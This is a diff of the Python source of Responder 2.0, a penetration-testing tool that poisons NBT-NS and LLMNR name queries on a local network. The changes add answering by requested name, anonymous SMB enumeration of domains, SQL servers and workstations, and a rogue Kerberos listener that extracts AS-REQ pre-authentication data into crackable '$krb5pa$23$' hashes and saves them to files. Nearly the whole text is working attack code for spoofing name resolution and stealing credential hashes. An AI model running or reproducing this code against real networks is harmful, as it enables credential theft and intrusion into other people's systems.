Wredirect = options.Wredirect.upper() Wredirect = options.Wredirect.upper()
NBTNSDomain = options.NBTNSDomain.upper()
Basic = options.Basic.upper() Basic = options.Basic.upper()
Finger_On_Off = options.Finger.upper() Finger_On_Off = options.Finger.upper()
INTERFACE = options.INTERFACE INTERFACE = options.INTERFACE
@@ -134,7 +140,7 @@ logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
AnalyzeFilename = str(os.path.join(ResponderPATH,"Analyze-LLMNR-NBT-NS.log")) AnalyzeFilename = str(os.path.join(ResponderPATH,"Analyze-LLMNR-NBT-NS.log"))
logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
logger3.addHandler(logging.FileHandler(AnalyzeFilename,'w')) logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
def Show_Help(ExtraHelpData): def Show_Help(ExtraHelpData):
help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n"
@@ -197,10 +203,10 @@ Challenge = ""
for i in range(0,len(NumChal),2): for i in range(0,len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex") Challenge += NumChal[i:i+2].decode("hex")
Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is:%s\nKerberos Server is:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
if AnalyzeMode: if AnalyzeMode:
print '[+]Responder is in analyze mode. No NBT-NS/LLMNR requests will be poisoned.\n' print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n'
#Packet class handling all packet generation (see odict.py). #Packet class handling all packet generation (see odict.py).
class Packet(): class Packet():
@@ -230,12 +236,25 @@ def RespondToSpecificHost(RespondTo):
else: else:
return False return False
def RespondToSpecificName(RespondToName):
if len(RespondToName)>=1 and RespondToName != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp): def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo: if ClientIp in RespondTo:
return True return True
else: else:
return False return False
def RespondToNameScope(RespondToName, Name):
if Name in RespondToName:
return True
else:
return False
################################################################################## ##################################################################################
#NBT NS Stuff #NBT NS Stuff
################################################################################## ##################################################################################
@@ -265,13 +284,13 @@ class NBT_Ans(Packet):
def NBT_NS_Role(data): def NBT_NS_Role(data):
Role = { Role = {
"\x41\x41\x00":"Workstation/Redirector Service", "\x41\x41\x00":"Workstation/Redirector Service.",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller if any, according to MSFT specs.)", "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.", "\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
"\x42\x4e\x00":"Local Master Browser", "\x42\x4e\x00":"Local Master Browser.",
"\x42\x4f\x00":"Browser Election Service.", "\x42\x4f\x00":"Browser Election Service.",
"\x43\x41\x00":"File Server Service", "\x43\x41\x00":"File Server Service.",
"\x41\x42\x00":"Browser Service", "\x41\x42\x00":"Browser Service.",
} }
if data in Role: if data in Role:
@@ -283,11 +302,18 @@ def NBT_NS_Role(data):
def Validate_NBT_NS(data,Wredirect): def Validate_NBT_NS(data,Wredirect):
if Analyze(AnalyzeMode): if Analyze(AnalyzeMode):
return False return False
if NBT_NS_Role(data[43:46]) == "File Server Service":
if NBT_NS_Role(data[43:46]) == "File Server Service.":
return True return True
if NBTNSDomain == "ON":
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
return True
if Wredirect == "ON": if Wredirect == "ON":
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service": if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
return True return True
else: else:
return False return False
@@ -308,8 +334,7 @@ def Decode_Name(nbname):
class NB(BaseRequestHandler): class NB(BaseRequestHandler):
def handle(self): def handle(self):
request, socket = self.request data, socket = self.request
data = request
Name = Decode_Name(data[13:45]) Name = Decode_Name(data[13:45])
if Analyze(AnalyzeMode): if Analyze(AnalyzeMode):
@@ -334,6 +359,7 @@ class NB(BaseRequestHandler):
if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x01\x10": if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect): if Validate_NBT_NS(data,Wredirect):
if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
@@ -353,12 +379,35 @@ class NB(BaseRequestHandler):
except Exception: except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else: else:
pass pass
else: else:
if data[2:4] == "\x01\x10": if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
@@ -378,47 +427,189 @@ class NB(BaseRequestHandler):
except Exception: except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
################################################################################## ##################################################################################
#Browser Listener #Browser Listener and Lanman Finger
################################################################################## ##################################################################################
from RAPLANMANPackets import *
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
if data in Role:
return Role[data]
else:
return False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l =[]
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return ParsedNames
else:
return None
def RAPThisDomain(Client,Domain):
try:
l =[]
for x in range(1):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
l.append('[Analyze mode LANMAN]:')
l.append('[!]Domain detected on this network:')
for x in PDC:
l.append(' -'+x)
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
l.append('[!]SQL Server detected on Domain %s:'%(Domain))
for x in SQL:
l.append(' -'+x)
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
l.append('[!]Workstations/Servers detected on Domain %s:'%(Domain))
for x in WKST:
l.append(' -'+x)
else:
pass
return '\n'.join(l)
except:
pass
def RapFinger(Host,Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
h = SMBHeader(cmd="\x72",mid="\x01\x00")
n = SMBNegoData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(1024)
##Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",mid="\x02\x00")
t = SMBSessionData()
t.calculate()
final = t
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Tree Connect IPC$.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Rap ServerEnum.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(64736)
##Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
return None
def BecomeBackup(data,Client): def BecomeBackup(data,Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0] DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:] BrowserPacket = data[82+DataOffset:]
if BrowserPacket[0] == "\x0b": if BrowserPacket[0] == "\x0b":
ServerName = BrowserPacket[1:] ServerName = BrowserPacket[1:]
if Is_Finger_On(Finger_On_Off): Domain = Decode_Name(data[49:81])
try: Name = Decode_Name(data[15:47])
Finger = RunSmbFinger((self.client_address[0],445)) Role = NBT_NS_Role(data[45:48])
Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a backup browser (Local Master Browser backup) on this domain: %s.\nOs Version is: %s Client Version is: %s"%(Client, Decode_Name(data[15:47]),NBT_NS_Role(data[45:48]),Decode_Name(data[49:81]),Finger[0],Finger[1]) Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)
logger3.warning(Message)
except Exception:
Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a backup browser (Local Master Browser backup) on this domain: %s."%(Client, Decode_Name(data[15:47]),NBT_NS_Role(data[45:48]),Decode_Name(data[49:81]))
logger3.warning(Message)
else:
Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a backup browser (Local Master Browser backup) on this domain: %s."%(Client, Decode_Name(data[15:47]),NBT_NS_Role(data[45:48]),Decode_Name(data[49:81]))
if PrintLLMNRNBTNS(AnalyzeFilename,Message): if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message print Message
if AnalyzeMode:
Message1=RAPThisDomain(Client,Domain)
if PrintLLMNRNBTNS(AnalyzeFilename,Message1):
print Message1
logger3.warning(Message1)
logger3.warning(Message) logger3.warning(Message)
else: except:
pass pass
def ParseDatagramNBTNames(data,Client): def ParseDatagramNBTNames(data,Client):
if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((Client,445)) Domain = Decode_Name(data[49:81])
Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s\nOs Version is: %s Client Version is: %s'%(Client, Decode_Name(data[15:47]),NBT_NS_Role(data[45:48]),Decode_Name(data[49:81]), NBT_NS_Role(data[79:82]),Finger[0],Finger[1]) Name = Decode_Name(data[15:47])
logger3.warning(Message) Role1 = NBT_NS_Role(data[45:48])
except Exception: Role2 = NBT_NS_Role(data[79:82])
Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Decode_Name(data[15:47]),NBT_NS_Role(data[45:48]),Decode_Name(data[49:81]), NBT_NS_Role(data[79:82])) Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Name, Role1, Domain, Role2)
logger3.warning(Message) if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if PrintLLMNRNBTNS(AnalyzeFilename,Message): if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message print Message
else: if AnalyzeMode:
Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Decode_Name(data[15:47]),NBT_NS_Role(data[45:48]),Decode_Name(data[49:81]), NBT_NS_Role(data[79:82])) Message1=RAPThisDomain(Client,Domain)
if PrintLLMNRNBTNS(AnalyzeFilename,Message1):
print Message1
logger3.warning(Message1)
logger3.warning(Message) logger3.warning(Message)
if PrintLLMNRNBTNS(AnalyzeFilename,Message): except:
print Message pass
class Browser(BaseRequestHandler): class Browser(BaseRequestHandler):
@@ -430,7 +621,7 @@ class Browser(BaseRequestHandler):
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
except Exception: except Exception:
raise pass
################################################################################## ##################################################################################
#SMB Server #SMB Server
################################################################################## ##################################################################################
@@ -620,7 +811,7 @@ class SMB1(BaseRequestHandler):
if data[8:10] == "\x72\x00": if data[8:10] == "\x72\x00":
#Customize SMB answer. #Customize SMB answer.
head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data)) t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
t.calculate() t.calculate()
final = t final = t
packet0 = str(head)+str(final) packet0 = str(head)+str(final)
@@ -738,8 +929,133 @@ class SMB1LM(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
pass #no need to print errors..
self.request.close() self.request.close()
pass
##################################################################################
#Kerberos Server
##################################################################################
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen]
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen]
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen]
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen]
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen]
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
if PrintData(Outfile,KerbHash):
print "[+]MSKerbv5 hash captured from : ", self.client_address[0]
print "[+]MSKerbv5 complete hash is :", KerbHash
Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
WriteData(Outfile,KerbHash, KerbHash)
logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
except Exception:
raise
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
if PrintData(Outfile,KerbHash):
print "[+]MSKerbv5 hash captured from : ", self.client_address[0]
print "[+]MSKerbv5 complete hash is :", KerbHash
Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
WriteData(Outfile,KerbHash, KerbHash)
logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
except Exception:
raise
################################################################################## ##################################################################################
#SQL Stuff #SQL Stuff
@@ -888,7 +1204,7 @@ class LLMNRAns(Packet):
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
def Parse_LLMNR_Name(data,addr): def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0] NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen] Name = data[13:13+NameLen]
return Name return Name
@@ -937,104 +1253,127 @@ def AnalyzeICMPRedirect():
AnalyzeICMPRedirect() AnalyzeICMPRedirect()
def RunLLMNR(): # LLMNR Server class.
try: class LLMNR(BaseRequestHandler):
ALL = '0.0.0.0'
MADDR = "224.0.0.252"
MPORT = 5355
if IsOsX():
print "OsX Bind to interface is not supported..Listening on all interfaces."
if OsInterfaceIsSupported(INTERFACE):
try:
IP = FindLocalIP(BIND_TO_Interface)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0')
s.bind((ALL,MPORT))
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = s.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(IP))
except:
print "Non existant network interface provided in Responder.conf, please provide a valid interface."
sys.exit(1)
else: def handle(self):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) data, soc = self.request
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((ALL,MPORT))
s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = s.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(ALL))
except:
raise
while True:
try: try:
data, addr = s.recvfrom(1024)
if Analyze(AnalyzeMode): if Analyze(AnalyzeMode):
if data[2:4] == "\x00\x00": if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data,addr) Name = Parse_LLMNR_Name(data)
if Is_Finger_On(Finger_On_Off): if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((addr[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(addr[0], Name,Finger[0],Finger[1]) Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,Finger[0],Finger[1])
logger3.warning(Message) logger3.warning(Message)
except Exception: except Exception:
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(addr[0], Name) Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
logger3.warning(Message) logger3.warning(Message)
if PrintLLMNRNBTNS(AnalyzeFilename,Message): if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message print Message
else: else:
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(addr[0], Name) Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
if PrintLLMNRNBTNS(AnalyzeFilename,Message): if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message print Message
logger3.warning(Message) logger3.warning(Message)
if RespondToSpecificHost(RespondTo): if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False: if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, addr[0]): if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x00\x00": if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data,addr) Name = Parse_LLMNR_Name(data)
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
s.sendto(str(buff), addr) soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(addr[0],Name) Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message) logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message): if PrintLLMNRNBTNS(Log2Filename,Message):
print Message print Message
logger2.warning(Message) logger2.warning(Message)
if Is_Finger_On(Finger_On_Off): if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((addr[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0]) print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1]) print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1])) logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception: except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
else:
if data[2:4] == "\x00\x00": if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
if Analyze(AnalyzeMode) == False:
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data,addr)
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate() buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(addr[0],Name)
for x in range(1): for x in range(1):
s.sendto(str(buff), addr) soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message): if PrintLLMNRNBTNS(Log2Filename,Message):
print Message print Message
logger2.warning(Message) logger2.warning(Message)
if Is_Finger_On(Finger_On_Off): if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((addr[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0]) print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1]) print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1])) logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception: except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
